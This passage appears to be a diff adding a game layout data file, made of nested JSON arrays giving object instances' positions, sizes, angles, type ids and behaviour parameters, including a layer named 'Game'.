+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 5848,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2048,
+ 1031,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 5849,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4096.248046875,
+ 1237.435302734375,
+ 0,
+ 574.0125732421875,
+ 627.0611572265625,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 5850,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4591,
+ 1227,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 5851,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5245,
+ 1196,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 5852,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4299,
+ 983,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 5853,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4816,
+ 924,
+ 0,
+ 608.4011840820312,
+ 304.2005920410156,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 5854,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Game",
+ 5,
+ 877230554565546,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 5095,
+ 654,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 5833,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4958,
+ 653,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5832,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4560,
+ 655,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 5831,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4238,
+ 651,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5606,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4252,
+ 205,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 5605,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4012,
+ 326,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 5604,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3893,
+ 525,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5603,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3760,
+ 720,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 5602,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3877,
+ 717,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5601,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3468,
+ 529,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5600,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3236,
+ 595,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 5599,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2702,
+ 462,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5598,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2333,
+ 911,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 2280,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2372,
+ 553,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5595,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2536,
+ 553,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 2369,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2094,
+ 741,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 2362,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1517,
+ 886,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5597,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1702,
+ 887,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 2279,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1011,
+ 884,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 5596,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 725,
+ 783,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5594,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 509,
+ 693,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 5593,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 60,
+ 691,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5592,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4801,
+ 660,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 2508,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5182,
+ 665,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 2509,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4148,
+ 670,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 2501,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3646,
+ 940,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 2500,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2773,
+ 486,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 2499,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 839,
+ 1058,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 2278,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 338,
+ 920,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 2277,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5,
+ 701,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 2276,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4008,
+ 696,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9805812835693359,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 2262,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3339,
+ 571,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9805812835693359,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 2271,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3008,
+ 500,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.05222109705209732,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 2272,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1850,
+ 856,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9995859265327454,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 2273,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5034,
+ 583,
+ 0,
+ 71,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.9718309640884399,
+ 0.5185185074806213,
+ 0,
+ 0,
+ []
+ ],
+ 351,
+ 2281,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 3,
+ 0
+ ],
+ [
+ 0,
+ 0,
+ 27,
+ "5034,620",
+ 0,
+ 1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5036,
+ 599,
+ 0,
+ 26,
+ 123,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5040650367736816,
+ 0,
+ 0,
+ []
+ ],
+ 350,
+ 2282,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6118,
+ 1647,
+ 0,
+ 228,
+ 58,
+ 0,
+ -0.02223877422511578,
+ 1,
+ 0.460526317358017,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 347,
+ 2283,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6077,
+ 1730,
+ 0,
+ 126,
+ 33,
+ 0,
+ -1.98930811882019,
+ 1,
+ 0.1428571492433548,
+ 0.5151515007019043,
+ 0,
+ 0,
+ []
+ ],
+ 348,
+ 2284,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5040,
+ 1687,
+ 0,
+ 126,
+ 33,
+ 0,
+ 0.4014257192611694,
+ 1,
+ 0.1349206417798996,
+ 0.5151515007019043,
+ 0,
+ 0,
+ []
+ ],
+ 334,
+ 2287,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5147,
+ 1730,
+ 0,
+ 126,
+ 33,
+ 0,
+ 0.1745329201221466,
+ 1,
+ 0.1428571492433548,
+ 0.5151515007019043,
+ 0,
+ 0,
+ []
+ ],
+ 336,
+ 2288,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5261,
+ 1750,
+ 0,
+ 126,
+ 33,
+ 0,
+ 0.1047197580337524,
+ 1,
+ 0.1428571492433548,
+ 0.5151515007019043,
+ 0,
+ 0,
+ []
+ ],
+ 337,
+ 2289,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5376,
+ 1759,
+ 0,
+ 126,
+ 33,
+ 0,
+ -0.1047197580337524,
+ 1,
+ 0.1349206417798996,
+ 0.5151515007019043,
+ 0,
+ 0,
+ []
+ ],
+ 338,
+ 2290,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5492,
+ 1745,
+ 0,
+ 126,
+ 33,
+ 0,
+ -0.1745329201221466,
+ 1,
+ 0.1428571492433548,
+ 0.5151515007019043,
+ 0,
+ 0,
+ []
+ ],
+ 339,
+ 2291,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5605,
+ 1723,
+ 0,
+ 126,
+ 33,
+ 0,
+ -0.401425838470459,
+ 1,
+ 0.1428571492433548,
+ 0.5151515007019043,
+ 0,
+ 0,
+ []
+ ],
+ 340,
+ 2292,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1370,
+ 4830,
+ 0,
+ 31,
+ 31,
+ 0,
+ 0,
+ 1,
+ 0.5161290168762207,
+ 0.5161290168762207,
+ 0,
+ 0,
+ []
+ ],
+ 199,
+ 2293,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ -1068,
+ 3578,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 202,
+ 2294,
+ [],
+ [],
+ [
+ 20,
+ 360,
+ 1,
+ 200,
+ 32,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1037,
+ 3220,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 207,
+ 2295,
+ [],
+ [],
+ [
+ 50,
+ 360,
+ 1,
+ 200,
+ 15,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -130,
+ -341,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 318,
+ 2296,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5,
+ -343,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 319,
+ 2297,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 149,
+ -352,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 320,
+ 2298,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -896,
+ 256,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 322,
+ 2299,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 252,
+ 824,
+ 0,
+ 932,
+ 250,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2300,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 177,
+ 687,
+ 0,
+ 128,
+ 128,
+ 0,
+ 3.141592741012573,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 328,
+ 2301,
+ [],
+ [
+ []
+ ],
+ [
+ 80,
+ 30,
+ 0,
+ 200,
+ 8,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 35,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 0.5
+ ]
+ ],
+ [
+ [
+ 175,
+ 687,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 329,
+ 2302,
+ [],
+ [
+ []
+ ],
+ [
+ 80,
+ 30,
+ 0,
+ 200,
+ 8,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 35,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 0.5
+ ]
+ ],
+ [
+ [
+ 177,
+ 662,
+ 0,
+ 61,
+ 62,
+ 0,
+ 0,
+ 1,
+ 0.5081967115402222,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 324,
+ 2303,
+ [],
+ [
+ [
+ 0
+ ],
+ [
+ 400,
+ 800,
+ 50,
+ 400,
+ 600,
+ 1000,
+ 0,
+ 0,
+ 0,
+ 1
+ ],
+ [
+ 0,
+ 6,
+ 0,
+ 0.2,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1179,
+ 837,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 343,
+ 2304,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 0.5,
+ 0.3,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 177,
+ 663,
+ 0,
+ 56,
+ 52,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 344,
+ 2305,
+ [],
+ [
+ [],
+ [
+ 0,
+ 2,
+ 1,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1178,
+ 836,
+ 0,
+ 70,
+ 72,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 346,
+ 2306,
+ [],
+ [
+ [],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5037,
+ 792.5,
+ 0,
+ 13,
+ 1636,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 352,
+ 2307,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -445,
+ 240,
+ 0,
+ 128,
+ 128,
+ 0,
+ 3.141592741012573,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 354,
+ 2308,
+ [],
+ [],
+ [
+ 50,
+ 360,
+ 1,
+ 200,
+ 20,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1607.62060546875,
+ 826.3150634765625,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2309,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 30,
+ 736,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2311,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 122,
+ 736,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2312,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 214,
